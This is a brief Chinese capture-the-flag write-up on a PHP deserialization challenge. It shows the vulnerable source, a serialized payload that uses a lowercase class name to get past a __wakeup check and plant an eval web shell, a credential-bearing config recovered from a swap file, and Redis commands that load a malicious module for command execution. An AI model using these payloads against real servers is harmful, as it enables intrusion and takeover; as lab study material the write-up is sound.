摘要
反序列化、redis、php特性
#### 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class A{ public $code = ""; function __call($method,$args){ eval($this->code); } function __wakeup(){ $this->code = ""; } }
class B{ function __destruct(){ echo $this->a->a(); } } if(isset($_REQUEST['poc'])){ preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret); if (isset($ret[1])) { foreach ($ret[1] as $i) { if(intval($i)!==1){ exit("you want to bypass wakeup ? no !"); } } unserialize($_REQUEST['poc']); }
}else{ highlight_file(__FILE__); }
|
反序列化
利用B到A执行命令,需要绕过wakeup
,需要先绕过正则,正则只对大写进行了匹配
php大小写问题
—区分
1. 变量名区分大小写
2. 常量名默认区分大小写,通常都写为大写
3. php.ini配置项指令区分大小写
—不区分
4. 函数名、方法名、类名不区分大小写
5. 魔术常量不区分大小写,推荐大写
6. NULL、TRUE、FALSE不区分大小写
1
| ?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:17:"eval($_POST[ok]);";}}
|
信息获取
开启端口6379
,6379是Redis
服务的默认端口。
可以读取到.config.php.swp
,恢复:
1 2 3 4 5 6 7
| <?php
define("DB_HOST","localhost"); define("DB_USERNAME","root"); define("DB_PASSWOrd",""); define("DB_DATABASE","test"); define("REDIS_PASS","you_cannot_guess_it");
|
redis服务的配置
phpinfo
/tmp/
redis
tmp 上传 恶意so文件
控制redis加载恶意so文件获取权限
1 2
| MODULE LOAD "/tmp/exp.so" system.exec "whoami"
|